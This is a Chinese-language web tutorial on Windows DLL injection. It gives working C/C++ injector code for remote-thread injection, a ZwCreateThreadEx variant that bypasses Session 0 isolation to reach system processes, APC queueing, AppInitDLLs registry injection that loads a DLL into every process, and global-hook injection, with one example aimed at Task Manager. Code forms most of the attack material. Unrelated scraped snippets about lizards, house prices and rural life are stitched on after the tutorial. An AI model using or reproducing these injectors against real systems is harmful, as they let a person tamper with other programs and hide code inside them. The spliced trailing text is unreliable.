专栏电商日志财经减肥爱情
投稿投诉
爱情常识
搭配分娩
减肥两性
孕期塑形
财经教案
论文美文
日志体育
养生学堂
电商科学
头戴业界
专栏星座
用品音乐

DLL劫持目标应用软件实现注入

  原理:
  DLL注入技术,一般来讲是向一个正在运行的进程插入注入代码的过程。我们注入的代码以动态链接库(DLL)的形式存在。
  dll注入即是让程序A强行加载程序B给定的a。dll,并执行程序B给定的a。dll里面的代码。注意,程序B所给定的a。dll原先并不会被程序A主动加载,但是当程序B通过某种手段让程序A加载a。dll后,程序A将会执行a。dll里的代码,此时,a。dll就进入了程序A的地址空间,而a。dll模块的程序逻辑由程序B的开发者设计,因此程序B的开发者可以对程序A为所欲为。
  实现:
  加载Dll的API就是LoadLibrary,它的参数是保存要加载的DLL的路径的地址。所以DLL注入的核心就是把要注入的DLL的路径写到目标进程中,然后在目标进程中调用LoadLibrary函数,并且指定参数为保存了DLL路径的地址。
  LoadLibrary函数HMODULEWINAPILoadLibrary(inLPCTSTRlpFileName);
  这个函数同样也只需要一个参数,这个参数是一个地址,而这个地址中保存的是我们要加载的DLL的名称的字符串
  跟exe有个main或者WinMain入口函数一样,DLL也有一个入口函数,就是DllMain。当使用LoadLibrary函数加载DLL时,系统会调用DLL的入口点函数
  dllmain。cpp:定义DLL应用程序的入口点。includepch。hBOOLAPIENTRYDllMain(HMODULEhModule,DWORDulreasonforcall,LPVOIDlpReserved){switch(ulreasonforcall){caseDLLPROCESSATTACH:caseDLLTHREADATTACH:caseDLLTHREADDETACH:caseDLLPROCESSDETACH:break;}returnTRUE;}
  会有如下文件,当DLL的状态发生变化的时候,就会调用DllMain函数。而传递的ulreasonforcall这个参数代表了4种不同的状态变化的情况,我们就可以根据这四种不同的状态根据需要来写出相应的代码,就会让注入的DLL执行我们需要的功能
  ulreasonforcall的值
  代表的状态
  DLLPROCESSATTACH
  Dll刚刚映射到进程空间中
  DLLTHREADATTACH
  进程中有新线程创建
  DLLTHREADDETACH
  进程中有新线程销毁
  DLLPROCESSDETACH
  Dll从进程空间中接触映射
  代码框架:includecstdioincludeWindows。hincludeTlHelp32。hdefinePROCESSNAMETaskmgr。exe要注入的进程名,这个是任务管理器的进程名defineDLLNAMEInjectDll。dll要注入的DLL的名称BOOLInjectDll(DWORDdwPid,CHARszDllName〔〕);注入DLLDWORDGetPID(PCHARpProName);根据进程名获取PIDVOIDShowError(PCHARmsg);打印错误信息BOOLEnbalePrivileges(HANDLEhProcess,charpszPrivilegesName);提升进程权限intmain(){CHARszDllPath〔MAXPATH〕{0};保存要注入的DLL的路径DWORDdwPID0;保存要注入的进程的PID提升当前进程令牌权限if(!EnbalePrivileges(GetCurrentProcess(),SEDEBUGNAME)){printf(权限提升失败);}dwPIDGetPID(PROCESSNAME);if(dwPID0){printf(没有找到要注入的进程);gotoexit;}GetCurrentDirectory(MAXPATH,szDllPath);获取程序的目录strcat(szDllPath,);strcat(szDllPath,DLLNAME);与DLL名字拼接得到DLL的完整路径printf(要注入的进程名:sPID:d,PROCESSNAME,dwPID);printf(要注入的DLL的完整路径s,szDllPath);if(InjectDll(dwPID,szDllPath)){printf(Dll注入成功);}exit:system(pause);return0;}BOOLInjectDll(DWORDdwPid,CHARszDllName〔〕){BOOLbRetTRUE;returnbRet;}DWORDGetPID(PCHARpProName){PROCESSENTRY32pe32{0};HANDLEhSnapCreateToolhelp32Snapshot(TH32CSSNAPPROCESS,0);BOOLbRetFALSE;DWORDdwPID0;if(hSnapINVALIDHANDLEVALUE){printf(CreateToolhelp32Snapshotprocessd,GetLastError());gotoexit;}pe32。dwSizesizeof(pe32);bRetProcess32First(hSnap,pe32);while(bRet){if(lstrcmp(pe32。szExeFile,pProName)0){dwPIDpe32。th32ProcessID;break;}bRetProcess32Next(hSnap,pe32);}CloseHandle(hSnap);exit:returndwPID;}VOIDShowError(PCHARmsg){printf(sErrord,msg,GetLastError());}BOOLEnbalePrivileges(HANDLEhProcess,charpszPrivilegesName){HANDLEhTokenNULL;LUIDluidValue{0};TOKENPRIVILEGEStokenPrivileges{0};BOOLbRetFALSE;DWORDdwRet0;打开进程令牌并获取具有TOKENADJUSTPRIVILEGES权限的进程令牌句柄if(!OpenProcessToken(hProcess,TOKENADJUSTPRIVILEGES,hToken)){ShowError(OpenProcessToken);gotoexit;}获取本地系统的pszPrivilegesName特权的LUID值if(!LookupPrivilegeValue(NULL,pszPrivilegesName,luidValue)){ShowError(LookupPrivilegeValue);gotoexit;}设置提升权限信息tokenPrivileges。PrivilegeCount1;tokenPrivileges。Privileges〔0〕。LuidluidValue;tokenPrivileges。Privileges〔0〕。AttributesSEPRIVILEGEENABLED;提升进程令牌访问权限if(!AdjustTokenPrivileges(hToken,FALSE,tokenPrivileges,0,NULL,NULL)){ShowError(AdjustTokenPrivileges);gotoexit;}else{根据错误码判断是否特权都设置成功dwRet::GetLastError();if(ERRORSUCCESSdwRet){bRetTRUE;gotoexit;}elseif(ERRORNOTALLASSIGNEDdwRet){ShowError(ERRORNOTALLASSIGNED);gotoexit;}}exit:returnbRet;}
  远程线程注入:
  远程线程注入简单的说,就是调用CreateRemoteThread(),在其他的进程中创建一条线程,执行LoadLibrary(),将特定的DLL加载到进程中间。
  由于我们不能轻易的控制别人进程中的线程,因此这种方法要求我们在目标进程中创建一个线程并在线程中执行LoadLibrary函数加载我们要注入的dll。幸运的是Windows为我们提供了CreateRemoteThread函数,它使得在另一个进程中创建一个线程变得非常容易。
  HANDLEWINAPICreateRemoteThread(InHANDLEhProcess,要创建线程的进程句柄InLPSECURITYATTRIBUTESlpThreadAttributes,新线程的安全描述符InSIZETdwStackSize,堆栈起始大小,为0表示默认大小InLPTHREADSTARTROUTINElpStartAddress,表示要运行线程的起始地址InLPVOIDlpParameter,保存要传递给线程参数的地址InDWORDdwCreationFlags,控制线程创建的标志,为0表示创建后立即执行OutLPDWORDlpThreadId指向接收线程标识符变量的指针。为NULL表示不返回线程标识符);
  hProcess用来指定在哪个进程中创建新线程lpStartAddress用来指定将进程中的哪个地址开始作为新线程运行的起始地址lpParameter保存的也是一个地址,这个地址中保存的就是新线程要用到的参数
  只要我们可以获取新进程中的LoadLibrary函数的地址以及包含有要加载的DLL的字符串的地址就可以通过CreateRemoteThread函数来成功开起一个线程执行LoadLibrary函数来加载我们的DLL。
  那么现在的问题就是如何获得LoadLibrary函数的地址以及保存有要加载的DLL路径的字符串的地址。
  对于LoadLibrary函数,由于它是在常用的系统DLL,也就是KERNEL32。dll中,所以这个DLL是可以按照它的ImageBase成功装载到每个进程的空间中。这样的话Kernel32。dll在每个进程中的起始地址是一样的,那么LoadLibrary函数的地址也就会一样。那么我们就可以在本进程中查找LoadLibrary函数的地址,并且完全可以相信,在要注入DLL的进程中LoadLibrary的地址也是这个。
  对于LoadLibrary函数,由于它是在常用的系统DLL,也就是KERNEL32。dll中,所以这个DLL是可以按照它的ImageBase成功装载到每个进程的空间中。这样的话Kernel32。dll在每个进程中的起始地址是一样的,那么LoadLibrary函数的地址也就会一样。那么我们就可以在本进程中查找LoadLibrary函数的地址,并且完全可以相信,在要注入DLL的进程中LoadLibrary的地址也是这个。
  至于DLL名称的字符串,我们可以通过在进程中申请一块可以将DLL完整路径写入的内存,并在这个内存中将DLL的完整路径写入,将写入到注入进程DLL完整路径的内存地址作为参数就可以实现进程的注入
  注意:在开始注入前,还需要确认一件事,就是目标进程使用的字符编码方式。因为我们所调用的LoadLibrary函数在底层实际调用有两种可能:
  如果目标程序使用的是ANSI编码方式,LoadLibrary实际调用的是LoadLibraryA,其参数字符串应当是ANSI编码;
  如果目标程序使用的是Unicode编码方式,LoadLibrary实际调用的是LoadLibraryW,其参数字符串应当是Unicode编码。
  这使得注入过程变得很麻烦,为了减少复杂性,不妨直接使用LoadLibraryA或LoadLibraryW而不是用LoadLibrary函数来避免这一麻烦。另外,即使使用的是LoadLibraryA,LoadLibraryA也会将传入的ANSI编码的字符串参数转换成Unicode编码后再调用LoadLibraryW。综上,不妨一致使用LoadLibraryW函数,并且字符串用Unicode编码即可。
  最后,我们可能会为获得目标进程中LoadLibraryW函数的起始地址而头疼,但其实这个问题也很简单,因为目标进程中函数LoadLibraryW的起始地址和我们的进程中的LoadLibraryW函数的起始地址是一样的。因此我们只需要用GetProcAddress即可获得LoadLibraryW函数的起始地址。
  步骤:
  (1)。用VirtualAllocEx函数在目标进程的地址空间中分配一块足够大的内存用于保存被注入的dll的路径。
  (2)。用WriteProcessMemory函数把本进程中保存dll路径的内存中的数据拷贝到第(1)步得到的目标进程的内存中。
  (3)。用GetProcAddress函数获得LoadLibraryW函数的起始地址。LoadLibraryW函数位于Kernel32。dll中。
  (4)。用CreateRemoteThread函数让目标进程执行LoadLibraryW来加载被注入的dll。函数结束将返回载入dll后的模块句柄。
  (5)。用VirtualFreeEx释放第(1)步开辟的内存。
  在需要卸载dll时我们可以在上述第(5)步的基础上继续执行以下步骤:
  (6)。用GetProcAddress函数获得FreeLibrary函数的起始地址。FreeLibrary函数位于Kernel32。dll中。
  (7)。用CreateRemoteThread函数让目标进程执行FreeLibrary来卸载被注入的dll。(其参数是第(4)步返回的模块句柄)。BOOLInjectDll(DWORDdwPid,CHARszDllName〔〕){BOOLbRetTRUE;HANDLEhProcessNULL,hRemoteThreadNULL;HMODULEhKernel32NULL;DWORDdwSize0;LPVOIDpDllPathAddrNULL;PVOIDpLoadLibraryAddrNULL;打开注入进程,获取进程句柄hProcessOpenProcess(PROCESSALLACCESS,FALSE,dwPid);if(NULLhProcess){ShowError(OpenProcess);bRetFALSE;gotoexit;}在注入进程中申请可以容纳DLL完成路径名的内存空间dwSize1strlen(szDllName);pDllPathAddrVirtualAllocEx(hProcess,NULL,dwSize,MEMCOMMIT,PAGEREADWRITE);if(!pDllPathAddr){ShowError(VirtualAllocEx);bRetFALSE;gotoexit;}把DLL完整路径名写入进程中if(!WriteProcessMemory(hProcess,pDllPathAddr,szDllName,dwSize,NULL)){ShowError(WriteProcessMemory);bRetFALSE;gotoexit;}hKernel32LoadLibrary(kernel32。dll);if(hKernel32NULL){ShowError(LoadLibrary);bRetFALSE;gotoexit;}获取LoadLibraryA函数地址pLoadLibraryAddrGetProcAddress(hKernel32,LoadLibraryA);if(pLoadLibraryAddrNULL){ShowError(GetProcAddress);bRetFALSE;gotoexit;}创建远程线程进行DLL注入hRemoteThreadCreateRemoteThread(hProcess,NULL,0,(LPTHREADSTARTROUTINE)pLoadLibraryAddr,pDllPathAddr,0,NULL);if(hRemoteThreadNULL){ShowError(CreateRemoteThread);bRetFALSE;gotoexit;}exit:if(hKernel32)FreeLibrary(hKernel32);if(hProcess)CloseHandle(hProcess);if(hRemoteThread)CloseHandle(hRemoteThread);returnbRet;}
  补充:
  上面的方法虽然可以方便的注入DLL。但是在WIN7,WIN10系统上,会由于SESSION0隔离机制从而导致只能成功注入普通的用户进程,如果注入系统进程就会导致失败。而经过逆向分析发现,使用Kernel32。dll中的CreateRemoteThread进行注入的时候,程序会走到ntdll。dll中的ZwCreateThreadEx函数进行执行。这是一个未导出的函数,所以需要手动获取函数地址来进行调用,相比于CreateRemoteThread更加底层。这个函数在64位和32位系统中的函数声明也不相同,在64位中的声明如下typedefDWORD(WINAPIpFnZwCreateThreadEx)(PHANDLEThreadHandle,ACCESSMASKDesiredAccess,LPVOIDObjectAttributes,HANDLEProcessHandle,LPTHREADSTARTROUTINElpStartAddress,LPVOIDlpParameter,ULONGCreateThreadFlags,SIZETZeroBits,SIZETStackSize,SIZETMaximumStackSize,LPVOIDpUnkown);
  它会导致线程创建的时候就被挂起,随后查看要运行的进程所在的会话层之后再决定是否要恢复线程的运行。所以要破解这种情况只需要将第7个参数设为0就可以,相应代码如下typedefDWORD(WINAPIpFnZwCreateThreadEx)(PHANDLE,ACCESSMASK,LPVOID,HANDLE,LPTHREADSTARTROUTINE,LPVOID,BOOL,DWORD,DWORD,DWORD,LPVOID);BOOLInjectDll(DWORDdwPid,CHARszDllName〔〕){BOOLbRetTRUE;HANDLEhProcessNULL,hRemoteThreadNULL;HMODULEhKernel32NULL,hNtDllNULL;DWORDdwSize0;LPVOIDpDllPathAddrNULL;PVOIDpLoadLibraryAddrNULL;pFnZwCreateThreadExZwCreateThreadExNULL;打开注入进程,获取进程句柄hProcess::OpenProcess(PROCESSALLACCESS,FALSE,dwPid);if(NULLhProcess){ShowError(OpenProcess);bRetFALSE;gotoexit;}在注入进程中申请可以容纳DLL完成路径名的内存空间dwSize1strlen(szDllName);pDllPathAddrVirtualAllocEx(hProcess,NULL,dwSize,MEMCOMMIT,PAGEREADWRITE);if(!pDllPathAddr){ShowError(VirtualAllocEx);bRetFALSE;gotoexit;}把DLL完成路径名写入进程中if(!WriteProcessMemory(hProcess,pDllPathAddr,szDllName,dwSize,NULL)){ShowError(WriteProcessMemory);bRetFALSE;gotoexit;}hKernel32LoadLibrary(kernel32。dll);if(hKernel32NULL){ShowError(LoadLibrarykernel32);bRetFALSE;gotoexit;}获取LoadLibraryA函数地址pLoadLibraryAddrGetProcAddress(hKernel32,LoadLibraryA);if(pLoadLibraryAddrNULL){ShowError(GetProcAddressLoadLibraryA);bRetFALSE;gotoexit;}hNtDllLoadLibrary(ntdll。dll);if(hNtDllNULL){ShowError(LoadLibraryntdll);bRetFALSE;gotoexit;}ZwCreateThreadEx(pFnZwCreateThreadEx)GetProcAddress(hNtDll,ZwCreateThreadEx);if(!ZwCreateThreadEx){ShowError(GetProcAddressZwCreateThreadEx);bRetFALSE;gotoexit;}ZwCreateThreadEx(hRemoteThread,PROCESSALLACCESS,NULL,hProcess,(LPTHREADSTARTROUTINE)pLoadLibraryAddr,pDllPathAddr,0,0,0,0,NULL);if(hRemoteThreadNULL){ShowError(ZwCreateThreadEx);bRetFALSE;gotoexit;}exit:if(hKernel32)FreeLibrary(hKernel32);if(hNtDll)FreeLibrary(hNtDll);if(hProcess)CloseHandle(hProcess);if(hRemoteThread)CloseHandle(hRemoteThread);returnbRet;}APC注入:
  APC是一个简称,具体名字叫做异步过程调用,我们看下MSDN中的解释,异步过程调用,属于是同步对象中的函数,所以去同步对象中查看。
  异步函数调用的原理:
  异步过程调用是一种能在特定线程环境中异步执行的系统机制。异步执行:
  A。所有异步程序的执行,都会在同步程序之后在执行
  B。异步程序自己之间的执行顺序,如果时间是相同的,那么就是按代码的先后顺序执行,否则是时间短的会先执行。
  1,从一行代码开始执行程序
  2,同步程序正常执行
  3,如果发现是异步程序,暂时不执行,存储在异步池中,等待执行
  4,将程序中所有的同步程序执行完毕后
  5,开启异步池,执行异步程序,当设定的时间到达,就会执行对应的异步升序
  先到设定时间的异步程序先执行,如果设定的时间相同,看异步程序的顺序,来执行
  回调函数:
  函数也可以作为函数的参数来传递
  你到一个商店买东西,刚好你要的东西没有货,于是你在店员那里留下了你的电话,过了几天店里有货了,店员就打了你的电话,然后你接到电话后就到店里去取了货。
  在这个例子里,你的电话号码就叫回调函数,你把电话留给店员就叫登记回调函数,店里后来有货了叫做触发回调事件,店员给你打电话叫做调用回调函数,你到店里去取货叫做响应回调事件。程序的APC
  往线程APC队列添加APC,系统会产生一个软中断。在线程下一次被调度的时候,就会执行APC函数,APC有两种形式,由系统产生的APC称为内核模式APC,由应用程序产生的APC被称为用户模式APC
  那么使用APC场合的注入就有了,
  1。必须是多线程环境下
  2。注入的程序必须会调用上面的那些同步对象。
  那么我们可以注入APC,注意下条件,也不是所有都能注入的。注入方法的原理:
  1。当对面程序执行到某一个上面的等待函数的时候,系统会产生一个中断
  2。当线程唤醒的时候,这个线程会优先去Apc队列中调用回调函数
  3。我们利用QueueUserApc,往这个队列中插入一个回调
  4。插入回调的时候,把插入的回调地址改为LoadLibrary,插入的参数我们使用VirtualAllocEx申请内存,并且写入进去
  使用方法:
  1。利用快照枚举所有的线程
  2。写入远程内存,写入的是Dll的路径
  3。插入我们的DLL即可
  要往APC队列中增加APC函数,需要通过QueueUserAPC函数来实现,这个函数在文档中的定义如下DWORDWINAPIQueueUserAPC(inPAPCFUNCpfnAPC,当满足条件时,要执行的APC函数的地址inHANDLEhThread,指定增加APC函数的线程句柄inULONGPTRdwData);要执行的APC函数参数地址
  可以看到pfnAPC和dwData这两个参数和CreateRemoteThread中的lpStartAddress和lpParameter的作用是一样的。不过这里是对线程进行操作,一个进程有多个线程。所以为了确保程序正确运行,所以需要遍历所有线程,查看是否是要注入的进程的线程,依次获得句柄插入APC函数。具体代码如下BOOLInjectDll(DWORDdwPid,CHARszDllName〔〕){BOOLbRetTRUE;HANDLEhProcessNULL,hThreadNULL,hSnapNULL;HMODULEhKernel32NULL;DWORDdwSize0;PVOIDpDllPathAddrNULL;PVOIDpLoadLibraryAddrNULL;THREADENTRY32te32{0};打开注入进程,获取进程句柄hProcessOpenProcess(PROCESSALLACCESS,FALSE,dwPid);if(NULLhProcess){ShowError(OpenProcess);bRetFALSE;gotoexit;}在注入进程中申请可以容纳DLL完成路径名的内存空间dwSize1strlen(szDllName);pDllPathAddrVirtualAllocEx(hProcess,NULL,dwSize,MEMCOMMIT,PAGEREADWRITE);if(!pDllPathAddr){ShowError(VirtualAllocEx);bRetFALSE;gotoexit;}把DLL完成路径名写入进程中if(!WriteProcessMemory(hProcess,pDllPathAddr,szDllName,dwSize,NULL)){ShowError(WriteProcessMemory);bRetFALSE;gotoexit;}hKernel32LoadLibrary(kernel32。dll);if(hKernel32NULL){ShowError(LoadLibrary);bRetFALSE;gotoexit;}获取LoadLibraryA函数地址pLoadLibraryAddrGetProcAddress(hKernel32,LoadLibraryA);if(pLoadLibraryAddrNULL){ShowError(GetProcAddress);bRetFALSE;gotoexit;}获得线程快照hSnapCreateToolhelp32Snapshot(TH32CSSNAPTHREAD,0);if(!hSnap){ShowError(CreateToolhelp32Snapshot);bRetFALSE;gotoexit;}遍历线程te32。dwSizesizeof(te32);if(Thread32First(hSnap,te32)){do{这个线程的进程ID是不是要注入的进程的PIDif(te32。th32OwnerProcessIDdwPid){hThreadOpenThread(THREADALLACCESS,FALSE,te32。th32ThreadID);if(hThread){QueueUserAPC((PAPCFUNC)pLoadLibraryAddr,hThread,(ULONGPTR)pDllPathAddr);CloseHandle(hThread);hThreadNULL;}else{ShowError(OpenThread);bRetFALSE;gotoexit;}}}while(Thread32Next(hSnap,te32));}exit:if(hKernel32)FreeLibrary(hKernel32);if(hProcess)CloseHandle(hProcess);if(hThread)CloseHandle(hThread);returnbRet;}注册表注入:
  什么是注册表
  注册表是windows操作系统、硬件设备以及客户应用程序得以正常运行和保存设置的核心数据库,也可以说是一个非常巨大的树状分层结构的数据库系统。注入原理:
  在cmd输入regedit打开注册表。定位HKEYLOCALMACHINESOFTWAREMicrosoftWindowsNTCurrentVersionWindows项
  是一种比较简单的注入,主要依赖于俩个表项,AppInitDlls和LoadAppInitDLLs。AppInitDlls写入dll完整路径,LoadAppInitDLLs写为1,重启后,指定DLL会注入到所有运行进程。
  AppInitDLLs键的值可以是一个dll的文件名或一组dll的文件名(通过逗号或空格来分隔),由于空格是用来分隔文件名的,因此dll文件名不能含有空格。第一个dll的文件名可以包含路径,但其他的dll包含的路径将被忽略。
  LoadAppInitDLLs键的值表示AppInitDLLs键是否有效,为了让AppInitDLLs键的值有效,需要将LoadAppInitDLLs的值设置为1。
  这两个键值设定后,当应用程序启动并加载User32。dll时,会获得上述注册表键的值,并调用LoadLibrary来调用这些字符串中指定的每一个dll。这时每个被载入的dll可以完成相应的初始化工作。但是需要注意的是,由于被注入的dll是在进程生命期的早期被载入的,因此这些dll在调用函数时应慎重。调用Kernel32。dll中的函数应该没有问题,因为Kernel32。dll是在User32。dll载入前已被加载。但是调用其他的dll中的函数时应当注意,因为进程可能还未载入相应的dll,严重时可能会导致蓝屏。
  这种方法很简单,只需要在注册表中修改两个键的值即可,但是有如下缺点:
  1。只有调用了User32。dll的进程才会发生这种dll注入。也就是说某些CUI程序(控制台应用程序)可能无法完成dll注入,比如将dll注入到编译器或链接器中是不可行的。
  2。该方法会使得所有的调用了User32。dll的程序都被注入指定的dll,如果你仅仅想对某些程序注入dll,这样很多进程将成为无辜的被注入着,并且其他程序你可能并不了解,盲目的注入会使得其他程序发生崩溃的可能性增大。
  3。这种注入会使得在应用程序的整个生命周期内被注入的dll都不会被卸载。注入dll的原则是值在需要的时间才注入我们的dll,并在不需要时及时卸载。注入流程
  第一步:打开注册表键值如下:
  HKEYLOCALMACHINESoftWareMicroSoftWindowsNTCurrentVersionWindows
  第二步:修改AppInitDlls
  在该键值中添加自己的DLL的全路径加dll名,多个DLL以逗号或者空格分开(因此在文件名中应该尽量不要存在空格),该键值只有第一个dll文件名可以包含路径,后面的都不能包含,因此我们最好将dll放在系统路径下,这样就可以不用包含路径也能被加载了。
  第三步:修改LoadAppInitDLLs
  在该注册表项中添加键值LoadAppInitDLLs,类型为DWORD,并将其值置为1。
  代码实现BOOLInjectDll(DWORDdwPid,CHARszDllName〔〕){BOOLbRetTRUE;HKEYhKeyNULL;CHARszAppKeyName〔〕{AppInitDLLs};CHARszLoadAppKeyName〔〕{LoadAppInitDLLs};DWORDdwLoadAppInit1;设置LoadAppInitDLLs的值打开相应注册表键if(RegOpenKeyEx(HKEYLOCALMACHINE,SoftwareMicrosoftWindowsNTCurrentVersionWindows,0,KEYALLACCESS,hKey)!ERRORSUCCESS){ShowError(RegOpenKeyEx);bRetFALSE;gotoexit;}设置AppInitDLLs为相应的DLL路径if(RegSetValueEx(hKey,szAppKeyName,0,REGSZ,(PBYTE)szDllName,strlen(szDllName)1)!ERRORSUCCESS){ShowError(RegSetValueEx);bRetFALSE;gotoexit;}将LoadAppInitDLLs的值设为1if(RegSetValueEx(hKey,szLoadAppKeyName,0,REGDWORD,(PBYTE)dwLoadAppInit,sizeof(dwLoadAppInit))!ERRORSUCCESS){ShowError(RegSetValueEx);bRetFALSE;gotoexit;}exit:returnbRet;}全局钩子注入:
  Windows系统中的大多数应用都是基于消息机制的,也就是说它们都有一个消息过程函数,可以根据收到的不同消息来执行不同的代码。基于这种消息机制,Windows维护了一个OSmessagequeue以及为每个程序维护着一个applicationmessagequeue。当发生各种事件的时候,比如敲击键盘,点击鼠标等等,操作系统会从OSmessagequeue将消息取出给到相应的程序的applicationmessagequeue。
  而OSmessagequeue和applicationmessagequeue的中间有一个称为钩链的结果如下
  在这个钩链中保存的就是设置的各种钩子函数,而这些钩子函数会比应用程序还早接收到消息并对消息进行处理。所以程序员可以通过在钩子中设置钩子函数,而要设置钩子函数就需要使用SetWindowHookEx来将钩子函数安装到钩链中,函数在文档中的定义如下
  HHOOKSetWindowsHookEx(intidHook,HOOKPROClpfn,HINSTANCEhMod,DWORDdwThreadId);
  参数
  含义
  idHook
  要安装的钩子类型,为了挂全局钩子,这里选择WHGETMESSAGE。表示的是安装一个挂钩过程,它监视发送到消息队列的消息
  lpfn
  表示的是钩子的回调函数。如果dwThreadId为0,则lpfn指向的钩子过程必须指向DLL中的钩子过程
  hMod
  包含由lpfn参数执行的钩子过程的DLL句柄
  dwThreadId
  与钩子过程关联的线程标识符,如果为0则表示与所有线程相关联。
  如果函数成功,则返回钩子过程的句柄,否则为NULL。
  根据上面的介绍可以得知,想要创建一个全局钩子,就必须在DLL文件中创建。这是因为进程的地址空间是独立的,发生对应事件的进程不能调用其他进程地址空间的钩子函数。如果钩子函数的实现代码在DLL中,则在对应事件发生时,系统会把这个DLL加载到发生事件的进程地址空间中,使它可以调用钩子函数进行处理。
  所以只要在系统中安装了全局钩子,那么只要进程接收到可以发出钩子的消息,全局钩子的DLL就会被系统自动或者强行加载到进程空间中,这就可以实现DLL注入。
  而这里之所以设置为WHGETMESSAGE,是因为这种类型的钩子会监视消息队列,又因为Windows系统是基于消息驱动的,所以所有的进程都会有自己的一个消息队列,都会加载WHGETMESSAGE类型的全局钩子。
  当idHook设置为WHGETMESSAGE的时候,回调函数lpfn的定义如下LRESULTCALLBACKGetMsgProc(intcode,WPARAMwParam,LPARAMlParam);
  参数
  含义
  code
  指定钩子过程是否必须处理该消息。如果代码是HCACTION,则钩子过程必须处理该消息。如果代码小于零,则钩子过程必须将消息传递给CallNextHookEx函数而无需进一步处理,并且应该返回CallNextHookEx返回的值
  wParam指定消息是否已从队列中删除。此参数可以是以下值之一。
  PMNOREMOVE:指定消息尚未从队列中删除
  PMREMOVE:指定消息已从队列中删除
  lParam
  指向包含消息详细信息的MSG结构体的指针
  当用户不需要再进行消息钩取时只需调用UnhookWindowsHookEx即可解除安装的消息钩子,函数的原型如下:BOOLWINAPIUnhookWindowsHookEx(InHHOOKhhk);
  hhk参数是之前调用SetWindowsHookEx函数返回的HHOOK变量。这个函数调用成功后会使被注入过dll的锁计数器递减1,当锁计数器减到0时系统会卸载被注入的dll。过程:
  1。调用SetWindowsHookEx设置钩子。
  2。在设置过程中。需要一个回调。所以我们填入一个回调。(个人tips:这个地方可以设置自写函数,自写功能)
  3。回调函数中调用CallNextHookEx函数。如果不调用。那么相当于我们设置了不反悔。程序可能出现问题。当然是按需返回。(个人tips:如果不调用,这里可能就打乱程序原有的后续代码逻辑)
  4。取消HOOK设置。(个人tips:降低性能,所以需要取消)
  注意:钩子函数应当放在一个dll中,并且在你的进程中LoadLibrary这个dll。然后再调用SetWindowsHookEx函数对相应类型的消息安装钩子。
  由于设置全局钩子的代码需要在DLL文件中完成,所以首先需要新建一个dll文件。
  phc。hincludeframework。hexternCdeclspec(dllexport)intSetGlobalHook();externCdeclspec(dllexport)LRESULTGetMsgProc(intcode,WPARAMwParam,LPARAMlParam);externCdeclspec(dllexport)BOOLUnsetGlobalHook();
  dllmain。cppdllmain。cpp:定义DLL应用程序的入口点。includepch。hHMODULEghDllModuleNULL;BOOLAPIENTRYDllMain(HMODULEhModule,DWORDulreasonforcall,LPVOIDlpReserved){switch(ulreasonforcall){caseDLLPROCESSATTACH:{ghDllModulehModule;break;}caseDLLTHREADATTACH:caseDLLTHREADDETACH:caseDLLPROCESSDETACH:break;}returnTRUE;}
  pch。cppincludepch。hincludewindows。hincludestdio。hexternHMODULEghDllModule;共享内存pragmadataseg(mydata)HHOOKghHookNULL;pragmadataseg()pragmacomment(linker,SECTION:mydata,RWS)钩子回调函数LRESULTGetMsgProc(intcode,WPARAMwParam,LPARAMlParam){return::CallNextHookEx(ghHook,code,wParam,lParam);}设置钩子BOOLSetGlobalHook(){ghHookSetWindowsHookEx(WHGETMESSAGE,(HOOKPROC)GetMsgProc,ghDllModule,0);if(NULLghHook){returnFALSE;}returnTRUE;}卸载钩子BOOLUnsetGlobalHook(){if(ghHook){UnhookWindowsHookEx(ghHook);}returnTRUE;}
  SetGlobalHook():设置全局钩子,WHGETMESSAGE为监视发送到消息队列的消息的钩子,第二个参数则为钩子的回调函数。
  GetMsgProc():钩子的回调函数,CallNextHookEx表示将当前钩子传递给下一个钩子,若返回值为0,表示中断钩子传递,对钩子进行拦截。
  UnsetGlobalHook():卸载钩子共
  享内存:由于全局钩子是以DLL形式加载到进程中,进程都是独立的,要将进程句柄传递给其他进程,可以使用共享内存突破进程独立性,使用SECTION:mydata,RWS设置为可读可写可共享的数据段。
  创建c空项目编译下面代码,将hookDll。dll放在生成的exe下,运行includewindows。hincludestdio。htypedefBOOL(PENHOOKSTART)();typedefBOOL(PENHOOKSTOP)();intmain(){加载dllHMODULEhDllLoadLibrary(L。hookDll。dll);if(NULLhDll){printf(LoadLibraryError〔d〕,::GetLastError());return1;}BOOLisHookFALSE;导出函数地址PENHOOKSTARTSetGlobalHook(PENHOOKSTART)GetProcAddress(hDll,SetGlobalHook);if(NULLSetGlobalHook){printf(SetGlobalHook:GetProcAddressError〔d〕,GetLastError());return2;}PENHOOKSTOPUnsetGlobalHook(PENHOOKSTOP)GetProcAddress(hDll,UnsetGlobalHook);if(NULLUnsetGlobalHook){printf(UnsetGlobalHook:GetProcAddressError〔d〕,GetLastError());return3;}isHookSetGlobalHook();if(isHook){printf(Hookisok!);}else{printf(Hookiserror〔d〕,GetLastError());}system(pause);UnsetGlobalHook();FreeLibrary(hDll);return0;}
  使用ProcessExplorer查看dll:
  被注入成功
  参考:
  https:bbs。pediy。comthread269910。htmmsgheaderh12
  https:www。cnblogs。comwf751620780p10730013。htmlautoid450

科莫多巨蜥的毒液到底有多可怕?2009年,一名31岁的渔民安瓦尔,在印尼科莫多岛上采摘水果,结果不小心从水果树上掉了下来,刚好踩到了一只巨型蜥蜴,蜥蜴瞬间就朝他扑了过去,咬住了他的腿,之后又咬住了他的手臂,身体武汉未来的房价会涨到100000元平米吗?这个问题的答案是肯定的!以目前的趋势,未来武汉房价必然达到10万的水平,只是时间长短的问题。2010年至2017年,短短七年间,武汉的房价已经翻了3番,目前,武汉部分高端楼盘如洞庭兰州青白石片区,中央公园怎么样?兰州北拓的黄金区域,目前基础交通还跟不上建设需要,交通滞后可能会成为十四五期间兰州青白石片区发展的的最大障碍!不过就兰州地理位置和城区格局而言,青白石片区是离主城区最近的待开发区域农民为什么不在国家统计失业范围之内?中国有四个儿子,大儿子叫工人,二儿子叫子弟兵,三儿子叫公务员,四儿子叫农民,所以四儿子就没有纳入统计失业包括养老金范围,因为四儿子有金山银山还有三分地。农民有土地,这是农民可以赖以农村成立社区是什么意思?很多农村驻有村委会办公室,同时也驻有社区管理委员会办公室,特别是在城市郊区的农村和街道的农村都同时设立了村委会和社区管理委员会,很多人弄不明白是怎么回事。那农村成立社区是什么意思呢农村里的剩男,为何一剩再剩呢?到底是什么原因?男女比例失调。计划生育只要一个孩子时,受封建思想影响,都拚命要男孩,等他们长大了,很难找到媳妇。一,农村姑娘远嫁,二,女孩见少,三,彩礼高,四,剩男挣钱少。我就一大龄剩男!个人亲身抖音付费直播试水,看直播要给钱了?我们应该如何思考?使劲收,最好是家人们看的话,一分钟100块钱。毕